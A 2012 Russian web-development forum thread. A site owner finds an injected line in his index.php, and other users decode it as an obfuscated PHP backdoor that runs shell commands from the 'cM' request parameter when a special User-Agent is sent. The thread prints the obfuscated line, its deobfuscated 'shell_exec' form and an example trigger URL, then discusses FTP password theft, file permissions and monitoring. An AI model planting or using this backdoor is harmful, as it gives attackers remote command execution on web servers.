Форум на Kuban.ru (http://forums.kuban.ru/)
-   Веб-дизайн и программирование (http://forums.kuban.ru/f1030/)
-   -   Внимание! Проверьте свои index.php (http://forums.kuban.ru/f1030/vnimanie_prover-te_svoi_index_php-2691199.html)

buh 06.06.2012 00:00

Внимание! Проверьте свои index.php
 
Обнаружил в index.php строку:

if($_SERVER['HTTP_USER_AGENT']=='D')**$fqvex=implode('e',array('bas','64_d','cod',''));$xwkfrjir=$fqvex(str_replace('$&*(','l','c2h$&*(bGxfZXh$&*(Yw=='));echo $xwkfrjir($_REQUEST['cM']);exit;**


Что она делает, не знаю, но я такого не писал.

Обнаружил только потому, что в файле было испорчено еще и название одной из функций и пользователь сообщил мне о неисправности.

Разбираемся пока с хостингом, как это туда попало, не знаю, будет ли толк.

kcqy 06.06.2012 01:02

не вижу поводов для волнений, кроме того что неясен путь попадения строки.. тема скорее к размышлениям вашего хостера, чем... да уж, ночка задалась :)

cv 06.06.2012 07:11

какой адрес ресурса? ради интереса посмотреть как оно там все работает.
хостера винить самое простое.

ars_2007 06.06.2012 11:31

выводит base64-декодированную переменную $cM, которая или в гет, или в пост или в каких-то еще кукисах.
Зачем - неизвестно.

buh 06.06.2012 20:41

Хостер:
"Как мы писали выше, можем предоставить Вам FTP-логи за указанный Вами период. Поиском уязвимостей в программном коде клиентов мы не занимаемся."

А что мне в этих логах искать я хз.

kcqy 06.06.2012 20:48

След ковааарнога призрака исказившего код :)

buh 06.06.2012 21:18

Объясните мне, 1) хостер не может защитить php-файлы от изменений любым другим способом, кроме как ftp-клиентом? почему?
2) если я меняю фтп-пароль каждый раз после захода фтп-клиентом как их можно украсть?

ars_2007 06.06.2012 21:46

[quote=buh;25417664]А что мне в этих логах искать я хз.[/quote]
ищи "cM=" (без кавычек)
Но в логах токо post и get, а кукисов нема. Да и вообще может такого запроса не было ниразу.

[quote=buh;25418143]хостер не может защитить php-файлы от изменений любым другим способом, кроме как ftp-клиентом?[/quote]
можно например выполнить скрипт php, который лежит уже на хосте, передав ему что выполнять примерно как в старттопеге.

[quote=buh;25418143]2) если я меняю фтп-пароль каждый раз после захода фтп-клиентом как их можно украсть?[/quote]
фтп есть не токо у вас. Еще есть и админ и еще куча пользователей, у которых есть доступ к вашей папочке. =))

cv 07.06.2012 07:07

Что бы не воровали пароли на FTP, нужно полечить свой компьютер от троянов, ворующие пароли из стандартных FTP клиентов.
Для защиты от изменений файлов, можно поставить атрибуты "только чтение", как временное решение.

buh 07.06.2012 08:15

Да мы с хостером вчера тоже пока додумались везде только r оставить, вроде держимся пока. А пароли фтп я меняю каждый раз сразу после любого использования фтп-клиента.

buh 07.06.2012 08:18

7-Украинские субтитры > старттопег - это что?

cv 07.06.2012 08:32

Для начала лучше проверить появление новых файлов, их легко найти по времени, а так же изучить журналы как FTP, так и веб сервера, возможно у вас просто дырявый сайт.
Приведите адрес ресурса, для изучения.

buh 07.06.2012 08:43

Хотя если добираются до записи, то и атрибуты могут поменять?
Опасаюсь я адрес выкладывать.

cv 07.06.2012 08:55

Формально могут поменять атрибуты, поэтому это и есть временное решение, но в большинстве случаев после получения пароля FTP, робот скачивает все файлы по маске, потом модифицирует и заливает обратно, игнорируя ошибки записи.
Чего бояться? у вас и так сломали сайт.
Система управления сайтом на чем сделана?

суслик 07.06.2012 09:44

строка выполняет [b]shell_exec[/b], декодировав из base64 полученный параметр

buh 07.06.2012 11:21

14-Суслик >Ну, понятно, что ничего полезного для меня она не делает. Как она только попала ко мне.

Пока сделал файлик со списком своих файлов

$dir = '.';
$files = scandir($dir);
foreach ($files as $file) **
echo md5($file." ".filesize($file))."<br>\n";
**

и караулю его программкой WebMon

buh 07.06.2012 11:21

CMS никакая не используется

cv 07.06.2012 11:26

думаю, что бессмыслено давать советы, пока мы не увидим сам ресурс, скорей всего у вас просто дырявый сайт, пока не исправите это, проблема остнется.

ars_2007 08.06.2012 15:47

от хостеров, у которых ломают ftp, надо бечь свит за очи. =))

DevMan 20.06.2012 10:24

Скрипт делает следующее:
if($_SERVER['HTTP_USER_AGENT']=='D')
**
echo shell_exec($_REQUEST['cM']);
exit;
**
Таким образом, если php.ini разрешает выполнять системные команды - их можно выполнить, послав запрос типа [url]http://ваш_сайт.ру/?cM=ls+-alh[/url]. Правда, нужно еще подменить user agent.

ars_2007 20.06.2012 14:08

ну уж подменить юзерагент не проблема.

[quote=DevMan;25603318]echo shell_exec[/quote]
это где там этот shell в коде?

Kuba 20.06.2012 17:44

20-Украинские субтитры > Shell в запросе. параметром передаем команду и делаем все что угодно, если сервер позволит.

[url]http://ваш_сайт.ру/?cM=ls+-alh[/url] - выведет список файлов в директории

ars_2007 20.06.2012 18:21

[quote=Kuba;25613092]$xwkfrjir[/quote]
ваще-то там
$xwkfrjir='shell_exec'; //если c2 h$&*(bGxfZXh$&*(Yw== это таки shell_exec
и оно делает echo $xwkfrjir(); //разве такое выполница?

Kuba 20.06.2012 18:43

22-Украинские субтитры > смотрим исходник до конца :

echo $xwkfrjir($_REQUEST['cM']);exit;**


в итоге имеем

echo shell_exec($_REQUEST['cM']);

ars_2007 21.06.2012 17:20

[quote=Kuba;25613931] 22-Украинские субтитры &gt; смотрим исходник до конца : echo $xwkfrjir($_REQUEST['cM']);exit;** в итоге имеем echo shell_exec($_REQUEST['cM']); [/quote]
Это понятно. Просто разве ж название функции в переменной (типа $var();) выполняется как функция?

Искусственный Интеллект1 21.06.2012 18:05

24-Украинские субтитры > обычно в таких случаях говорят: учи матчасть :)

Kuba 21.06.2012 21:03

24-Украинские субтитры >Да, выполняется.

ars_2007 22.06.2012 16:45

[quote=Kuba;25632626] 24-Украинские субтитры &gt;Да, выполняется. [/quote]
охренеть, не знал.
А это где-то отключается?

ars_2007 22.06.2012 16:46

[quote=Искусственный Интеллект1;25630749] 24-Украинские субтитры &gt; обычно в таких случаях говорят: учи матчасть :) [/quote]
не вопрос. В каком месте мануаля эта матчасть и как она называется, не подскажете? =)

Kuba 22.06.2012 21:41

[url]http://www.php.ru/manual/functions.variable-functions.html[/url]

Искусственный Интеллект1 22.06.2012 21:57

можно скачать мануал [url]http://ru2.php.net/get/php_manual_ru.chm/from/a/mirror[/url]

ars_2007 22.06.2012 22:54

С понятием кагбы понятно.
Главного нету: где это вкл/выкл =))

Искусственный Интеллект1 23.06.2012 16:36

31-Украинские субтитры > а зачем это вкл/выкл? :)

Kuba 23.06.2012 18:09

Это динамическая функция, и по моему она ни как не отключается, особенность ядра.

Kuba 23.06.2012 18:15

Да и бывает очень полезной, при автозагрузке классов из определенной директории например.

ars_2007 23.06.2012 20:27

Странно что такое нельзя выключить

Kuba 25.06.2012 11:18

Да как бы особо ничего критичного в этой функции нет.

В приведенном примере можно было бы и сразу написать echo shell_exec($_REQUEST['cM']); все остальное ни как не влияет на выполнение скрипта, и сделано только для маскировки его от программистов, что бы не сразу нашли все куски кода простым поиском.

Если следовать Логике отключения функций, то нужно отключаь и implode и base64_decode и str_replace.

Так что ничего странного. А что бы защититься от данной проблемы, достаточно настроить сервер на запрет выполнения команд Shell'a. В безопасном режиме они недоступны. Это минимум что можно сделать.

ars_2007 25.06.2012 18:54

но в плане уязвимости это очевидная брешь.
Ведь достаточно всего одной строчки и с сайтом можно делать все что угодно

Искусственный Интеллект1 25.06.2012 22:06

37-Украинские субтитры > а вы знаете что еще есть функция eval() и что она делает? :) ее тоже нужно запретить использовать? :)

Чтобы можно было изменить код php, нужно получить доступ к сайту, к ftp например. А будет доступ к сайту - сделают все что захотят и без php. Главное чтобы хакеры не получили доступ к сайту.

ars_2007 26.06.2012 11:57

[quote=Искусственный Интеллект1;25683452]а вы знаете что еще есть функция eval() и что она делает?[/quote]
Знаю что есть, а что делает не помню.
Помню, ее кто-то пытался пихнуть в виде php-файла на один из моих форумов, типа как атачмент. =)

[quote=Искусственный Интеллект1;25683452]Чтобы можно было изменить код php, нужно получить доступ к сайту, к ftp например.[/quote]
не обязательно. С огромным количеством разных джумл, достаточно одной-двух строчек где-то в коде, типа той что вверху. Юзерь сам ее закачает, а уж тот кто знает, без всякого фтп и прочего будет делать с сайтом чо хочет.


Текущее время: 20:21. Часовой пояс GMT +3.